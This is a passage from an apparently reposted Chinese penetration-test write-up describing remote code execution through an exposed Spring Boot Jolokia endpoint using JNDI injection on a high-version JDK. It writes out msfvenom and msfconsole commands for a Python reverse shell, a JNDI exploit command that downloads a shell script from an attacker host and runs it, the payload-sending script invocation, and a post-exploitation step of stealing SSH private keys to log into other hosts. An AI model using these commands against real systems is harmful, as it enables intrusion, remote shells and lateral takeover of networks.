高版本JDK下的Jolokia Realm JNDI RCE小记
2021-04-26 20:14:56 Author: wiki.ioin.in(查看原文) 阅读量:348 收藏

0x01 引言

在一个阳光明媚的下午,接到一个渗透测试项目。经过一波资产收集,发现一处jolokia,存在 type=MBeanFactory 和 createJNDIRealm。

https://api.example.com//actuator/jolokia/list

你没看错,这个资源必须**//**才能访问到。

0x02 一波三折的RCE

1. 本着面向github渗透,利用公开的poc打了一波。

引用:https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce

发现一个问题, marshalsec 接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。

2. 继续面向github渗透,利用https://github.com/welk1n/JNDI-Injection-Exploitjing 进行高版本JDK的JNDI注入。

1)生成msf的python反弹shell

msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py

2)启动Listener

msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"

1.下载恶意脚本

启动 JNDI-Injection-Exploit:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://x.x.x.x:30001/shell.py -o /tmp/.shell.py" -A "1.1.1.1"

利用springboot-realm-jndi-rce.py发送恶意paylaod:

python3 springboot-realm-jndi-rce2.py http://api.example.com//actuator/jolokia rmi://1.1.1.1:1099/mswuvw

恶意类选用Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath)

1.执行命令改成 "/usr/bin/python /tmp/.shell.py",重复第三步操作。

2.反弹shell成功

0x03 后渗透

这台机子既是一台开发机,也是一台线上生产机。内网横向也比较简单,上去查看.ssh目录下known_hosts和id_rsa,利用私钥逐一登陆就行。重复上述操作,基本上可以控制全部主机。

0x04 参考

1. https://www.revshells.com[1]
2. https://github.com/welk1n/JNDI-Injection-Exploit
3. https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce
4.https://github.com/LandGrey/SpringBootVulExploit/blob/master/codebase/springboot-realm-jndi-rce.py
published from :高版本JDK下的Jolokia Realm JNDI RCE小记[2]

References

[1] https://www.revshells.com: https://www.revshells.com/
[2] 高版本JDK下的Jolokia Realm JNDI RCE小记: https://articles.zsxq.com/id_ffgcg8g2fhkh.html

- END -

【周度激励】2021.4.19 ~ 2021.4.25公告

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

关注我们 解锁更多挖洞姿势


文章来源: https://wiki.ioin.in/url/AD2Q
如有侵权请联系:admin#unsafe.sh